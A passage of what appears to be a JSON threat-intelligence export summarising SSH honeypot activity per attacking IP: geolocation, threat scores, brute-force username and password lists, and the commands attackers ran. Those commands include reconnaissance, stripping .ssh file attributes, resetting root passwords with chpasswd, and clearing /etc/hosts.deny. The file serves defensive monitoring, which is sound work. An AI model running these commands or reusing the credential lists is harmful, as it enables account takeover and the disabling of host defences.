        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\nLmgrExybykDT\\nLmgrExybykDT\\n\"|passwd",
        "echo \"aA123456\\nXWmhTdb52pGu\\nXWmhTdb52pGu\\n\"|passwd",
        "echo \"bhavesh\\nSsnwa8SFzsw6\\nSsnwa8SFzsw6\\n\"|passwd",
        "echo \"hupass\\nUHaWJcEGpZ5U\\nUHaWJcEGpZ5U\\n\"|passwd",
        "echo \"pass123\\nUQ6XCoH4gbnq\\nUQ6XCoH4gbnq\\n\"|passwd",
        "echo \"root:cJQ85kx0mx4F\"|chpasswd|bash",
        "echo \"root:nT89BZy07Jx6\"|chpasswd|bash",
        "echo -e \"123456\\nLmgrExybykDT\\nLmgrExybykDT\"|passwd|bash",
        "echo -e \"aA123456\\nXWmhTdb52pGu\\nXWmhTdb52pGu\"|passwd|bash",
        "echo -e \"bhavesh\\nSsnwa8SFzsw6\\nSsnwa8SFzsw6\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seongnam-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 19.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 29.3,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 843,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T09:40:58.750000+00:00",
        "last_seen_30d": "2026-03-13T12:51:24.037000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 706,
        "Suricata": 137
      }
    },
    "172.249.152.182": {
      "attack_count": 578,
      "first_seen": "2026-03-09T11:59:33.970Z",
      "last_seen": "2026-03-21T02:11:27.370Z",
      "sessions": 55,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "claude",
        "root",
        "elearn",
        "felix",
        "oracle",
        "paid",
        "a",
        "alex",
        "anders",
        "builder",
        "canon",
        "clement",
        "ethan",
        "harry",
        "informatica",
        "leon",
        "liams",
        "magento",
        "mama"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345678",
        "1",
        "123123",
        "123321",
        "123456",
        "1234567890",
        "18atcskd2w",
        "1qaz321x",
        "Ll123456789",
        "Mob123!",
        "Temp123",
        "Uigres23",
        "Yy123456.",
        "alex1234",
        "claude1",
        "elearn123!"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nfCRyGTE5hNoY\\nfCRyGTE5hNoY\\n\"|passwd",
        "echo \"1234\\nCjZqM776f6Vb\\nCjZqM776f6Vb\\n\"|passwd",
        "echo \"claude1\\nYCdOB3zpvZEl\\nYCdOB3zpvZEl\\n\"|passwd",
        "echo \"elearn123!\\n2quWq1qUPoxp\\n2quWq1qUPoxp\\n\"|passwd",
        "echo \"felix1234\\nKwhN1PLC4An8\\nKwhN1PLC4An8\\n\"|passwd",
        "echo -e \"123456\\nfCRyGTE5hNoY\\nfCRyGTE5hNoY\"|passwd|bash",
        "echo -e \"1234\\nCjZqM776f6Vb\\nCjZqM776f6Vb\"|passwd|bash",
        "echo -e \"claude1\\nYCdOB3zpvZEl\\nYCdOB3zpvZEl\"|passwd|bash",
        "echo -e \"elearn123!\\n2quWq1qUPoxp\\n2quWq1qUPoxp\"|passwd|bash",
        "echo -e \"felix1234\\nKwhN1PLC4An8\\nKwhN1PLC4An8\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Monrovia",
      "asn": 20001,
      "as_org": "Charter Communications Inc",
      "threat_score": 34.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.5,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 706,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T11:59:33.970000+00:00",
        "last_seen_30d": "2026-03-21T02:12:32.417000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 578,
        "Suricata": 128
      }
    },
    "103.59.94.62": {
      "attack_count": 574,
      "first_seen": "2026-03-03T18:24:59.193Z",
      "last_seen": "2026-03-25T07:29:54.847Z",
      "sessions": 56,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "angelica",
        "angga",
        "docker",
        "robin",
        "amin",
        "ftptest",
        "gbase",
        "gitea",
        "informix",
        "ips",
        "j",
        "jenkins",
        "linuxbrew",
        "maintain",
        "manish",
        "mohsen",
        "mosquitto",
        "newusername"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123",
        "1234",
        "123456",
        "!2345Qwert",
        "123456aaA",
        "123qwe!!",
        "Abc123456789@",
        "Abcd8888",
        "Bingo@1993",
        "Informix",
        "Ips123!",
        "J123!",
        "Jack@123",
        "P@ssw00rd",
        "QWE123!@#qwe",
        "Qwe12345",
        "Rstudio"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\n2tFFJRXqWbKH\\n2tFFJRXqWbKH\\n\"|passwd",
        "echo \"12345\\ntbhnhZt1qgPy\\ntbhnhZt1qgPy\\n\"|passwd",
        "echo \"angelica\\nDV0JzrbDENZY\\nDV0JzrbDENZY\\n\"|passwd",
        "echo \"docker@123\\nu2MS7FGYsokJ\\nu2MS7FGYsokJ\\n\"|passwd",
        "echo \"root:QHLHcu7vcRo7\"|chpasswd|bash",
        "echo -e \"123456\\n2tFFJRXqWbKH\\n2tFFJRXqWbKH\"|passwd|bash",
        "echo -e \"12345\\ntbhnhZt1qgPy\\ntbhnhZt1qgPy\"|passwd|bash",
        "echo -e \"angelica\\nDV0JzrbDENZY\\nDV0JzrbDENZY\"|passwd|bash",
        "echo -e \"docker@123\\nu2MS7FGYsokJ\\nu2MS7FGYsokJ\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 47.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.6,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 719,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T18:24:59.193000+00:00",
        "last_seen_30d": "2026-03-25T07:30:58.163000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 574,
        "Suricata": 145
      }
    },
    "159.89.113.99": {
      "attack_count": 500,
      "first_seen": "2026-03-29T14:45:20.326Z",
      "last_seen": "2026-03-30T03:39:09.948Z",
      "sessions": 143,
      "ports": [],
      "usernames_attempted": [
        "root",
        "dell",
        "admin",
        "DJ",
        "apache",
        "ascend",
        "caja01",
        "cdac",
        "chengjie",
        "chenyufei-srt",
        "chuantan",
        "clz",
        "czb",
        "david",
        "es",
        "flutter",
        "gaoyx",
        "gas",
        "gitlab-runner",
        "glassfish"
      ],
      "passwords_attempted": [
        "123456",
        "1",
        "10301X",
        "111111",
        "123!@#qwe",
        "123321",
        "1234",
        "1234512345",
        "1234QWERasdf",
        "123qwe!@#",
        "19971027",
        "199894Gyx",
        "1qaz@WSX",
        "2wsxcde3admin",
        "3edc@WSX1qaz",
        "7890uiop",
        "Abc@123456",
        "Admin@1234",
        "Admin@7777",
        "DJ"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 82.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 29.9,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 981,
        "days_active_30d": 24,
        "ports_targeted_30d": 53,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-07T22:13:28.991000+00:00",
        "last_seen_30d": "2026-03-30T03:40:13.342000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 500,
        "Suricata": 453,
        "Honeytrap": 28
      }
    },
    "217.154.233.215": {
      "attack_count": 406,
      "first_seen": "2026-03-23T00:47:25.928Z",
      "last_seen": "2026-03-27T13:22:35.572Z",
      "sessions": 46,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "evan",
        "user2",
        "aaa",
        "assistant",
        "auser",
        "bryan",
        "go",
        "james",
        "jupyter",
        "ljd",
        "localhost",
        "marissa",
        "mark",
        "mirror",
        "ops",
        "pzuser",
        "saeed",
        "sg"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "1234",
        "123abc!@#",
        "1QWE2asd3zxc",
        "1q!Q2w@W3e#E",
        "1qaz!QAZ1",
        "Abc@123456789",
        "Jupyter123",
        "Mirror123",
        "Ops123!",
        "P@$$w0rd",
        "P@ss1234",
        "Pa$$w0rd@2026",
        "Passw0rd10",
        "Q1w2e3r4!",
        "User2123!",
        "Wachtwoord_123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"User2123!\\nxX7s8X9VEGjc\\nxX7s8X9VEGjc\\n\"|passwd",
        "echo \"evanpass\\njgrAb2MP93Jn\\njgrAb2MP93Jn\\n\"|passwd",
        "echo \"root:NO44R4Fj3Xn0\"|chpasswd|bash",
        "echo -e \"User2123!\\nxX7s8X9VEGjc\\nxX7s8X9VEGjc\"|passwd|bash",
        "echo -e \"evanpass\\njgrAb2MP93Jn\\njgrAb2MP93Jn\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 37.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.2,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 523,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T00:47:25.928000+00:00",
        "last_seen_30d": "2026-03-27T13:23:43.028000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 406,
        "Suricata": 117
      }
    },
    "91.134.133.184": {
      "attack_count": 386,
      "first_seen": "2026-03-11T03:33:50.457Z",
      "last_seen": "2026-03-12T09:35:09.860Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "clawd",
        "docker",
        "jenkins",
        "mailcow",
        "root",
        "api",
        "chenghao",
        "claude",
        "csserver",
        "debian",
        "desktop",
        "esuser",
        "install",
        "maarch",
        "mes",
        "mgeweb",
        "mike",
        "mqtt",
        "shyam"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123",
        "123456",
        "12345678",
        "Aa@123456",
        "Debian123",
        "Kv123456",
        "apipass",
        "claude123",
        "csserver",
        "desktop123",
        "maarch123",
        "mespass",
        "mgewebpass",
        "mqtt1234",
        "password",
        "ts3server123",
        "wei123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nH1XcroVhpXD5\\nH1XcroVhpXD5\\n\"|passwd",
        "echo \"12345\\nmeqaEGo65I6a\\nmeqaEGo65I6a\\n\"|passwd",
        "echo \"12345\\noPT8FnxCyyeD\\noPT8FnxCyyeD\\n\"|passwd",
        "echo \"123\\nGYALTihjjvbH\\nGYALTihjjvbH\\n\"|passwd",
        "echo -e \"12345678\\nH1XcroVhpXD5\\nH1XcroVhpXD5\"|passwd|bash",
        "echo -e \"12345\\nmeqaEGo65I6a\\nmeqaEGo65I6a\"|passwd|bash",
        "echo -e \"12345\\noPT8FnxCyyeD\\noPT8FnxCyyeD\"|passwd|bash",
        "echo -e \"123\\nGYALTihjjvbH\\nGYALTihjjvbH\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 14.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 454,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T03:33:50.457000+00:00",
        "last_seen_30d": "2026-03-12T09:36:11.973000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 386,
        "Suricata": 68
      }
    },
    "36.93.144.67": {
      "attack_count": 371,
      "first_seen": "2026-03-06T00:50:56.905Z",
      "last_seen": "2026-03-08T05:24:06.584Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "Admin",
        "dan",
        "gestion",
        "gosha",
        "root",
        "abdul",
        "amir",
        "huang",
        "iksi",
        "kirill",
        "minioadmin",
        "nikita",
        "nora",
        "sc",
        "storage",
        "test101",
        "vastbase",
        "wiki"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123456",
        "1234",
        "12345678",
        "1qaz2wsx@@",
        "Admin1234",
        "Kv123456",
        "Sc123!",
        "abdul123",
        "amir1234",
        "gosha1234",
        "huang",
        "iksi123",
        "nikita123",
        "password",
        "test101"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nQ1isanR2mbg2\\nQ1isanR2mbg2\\n\"|passwd",
        "echo \"1234\\nHrfpsuNJyrFr\\nHrfpsuNJyrFr\\n\"|passwd",
        "echo \"Admin1234\\nX06kzkradwSe\\nX06kzkradwSe\\n\"|passwd",
        "echo \"gosha1234\\nyQXQJWzzZvUZ\\nyQXQJWzzZvUZ\\n\"|passwd",
        "echo -e \"12345678\\nQ1isanR2mbg2\\nQ1isanR2mbg2\"|passwd|bash",
        "echo -e \"1234\\nHrfpsuNJyrFr\\nHrfpsuNJyrFr\"|passwd|bash",
        "echo -e \"Admin1234\\nX06kzkradwSe\\nX06kzkradwSe\"|passwd|bash",
        "echo -e \"gosha1234\\nyQXQJWzzZvUZ\\nyQXQJWzzZvUZ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Bogor",
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 9.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.4,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 433,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T00:50:56.905000+00:00",
        "last_seen_30d": "2026-03-08T05:25:09.731000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 371,
        "Suricata": 62
      }
    },
    "143.110.165.65": {
      "attack_count": 360,
      "first_seen": "2026-03-02T20:19:47.357Z",
      "last_seen": "2026-03-02T21:16:10.369Z",
      "sessions": 71,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin"
      ],
      "passwords_attempted": [
        "123456",
        "admin",
        "admin123",
        "password",
        "!@#$%^&*",
        "000000",
        "111111",
        "123",
        "123123",
        "123321",
        "1234",
        "12345",
        "12345678",
        "123456789",
        "1234567890",
        "123abc",
        "123qwe",
        "1q2w3e4r",
        "1qaz2wsx",
        "654321"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 514,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T20:19:47.357000+00:00",
        "last_seen_30d": "2026-03-02T21:17:13.874000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 360,
        "Suricata": 154
      }
    },
    "58.229.141.26": {
      "attack_count": 332,
      "first_seen": "2026-03-03T02:00:53.743Z",
      "last_seen": "2026-03-03T02:33:41.946Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1233218613f",
        "@Aa123456",
        "Gd@ta2014",
        "Qq123321",
        "Qwe@123456",
        "abc123...",
        "admin123456",
        "q1w2e3r4!",
        "qwer123.",
        "xx",
        "zxasqw12"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:NzqQ96OAwRMV\"|chpasswd|bash",
        "echo \"root:Tv5fWsnZBsb9\"|chpasswd|bash",
        "echo \"root:aTbADHGv5FVm\"|chpasswd|bash",
        "echo \"root:oxDeHh9PKr7x\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Eunpyeong-gu",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 378,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T02:00:53.743000+00:00",
        "last_seen_30d": "2026-03-03T02:34:50.003000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 332,
        "Suricata": 46
      }
    },
    "103.27.60.83": {
      "attack_count": 325,
      "first_seen": "2026-03-14T15:59:23.691Z",
      "last_seen": "2026-03-14T16:19:15.360Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "elemental",
        "jason",
        "root",
        "soporte",
        "grid",
        "hari",
        "labs",
        "lh",
        "mm",
        "sa"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345",
        "Password1",
        "Soporte123!",
        "digitalocean",
        "elemental1234",
        "grid123!",
        "hari123",
        "labs123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345\\nWy2X3nLJScIo\\nWy2X3nLJScIo\\n\"|passwd",
        "echo \"Soporte123!\\nzynuY0eS1rWR\\nzynuY0eS1rWR\\n\"|passwd",
        "echo \"elemental1234\\nN02EsS8ClTH6\\nN02EsS8ClTH6\\n\"|passwd",
        "echo \"root:1DBuLLrbORMM\"|chpasswd|bash",
        "echo -e \"12345\\nWy2X3nLJScIo\\nWy2X3nLJScIo\"|passwd|bash",
        "echo -e \"Soporte123!\\nzynuY0eS1rWR\\nzynuY0eS1rWR\"|passwd|bash",
        "echo -e \"elemental1234\\nN02EsS8ClTH6\\nN02EsS8ClTH6\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 56150,
      "as_org": "Viet Solutions Services Trading Company Limited",
      "threat_score": 16.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 365,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T15:59:23.691000+00:00",
        "last_seen_30d": "2026-03-14T16:20:23.188000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 325,
        "Suricata": 40
      }
    },
    "45.55.134.250": {
      "attack_count": 313,
      "first_seen": "2026-03-13T11:03:23.909Z",
      "last_seen": "2026-03-13T13:15:08.287Z",
      "sessions": 62,
      "ports": [],
      "usernames_attempted": [
        "solv",
        "solana",
        "validator",
        "ubuntu",
        "sol",
        "banxgg",
        "binance",
        "bootstrap",
        "bot",
        "drone",
        "ethereum",
        "firedancer",
        "jito",
        "node",
        "okx",
        "shred",
        "shreded",
        "slot",
        "telegram",
        "trader"
      ],
      "passwords_attempted": [
        "12345678",
        "123",
        "123456",
        "solv",
        "1234",
        "bootstrap",
        "jito",
        "shred",
        "slot",
        "sol",
        "solana",
        "validator",
        "12",
        "123321",
        "12345",
        "123456.cn",
        "1234567",
        "123456789",
        "1234567890",
        "Solana"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.6,
        "persistence": 0.8,
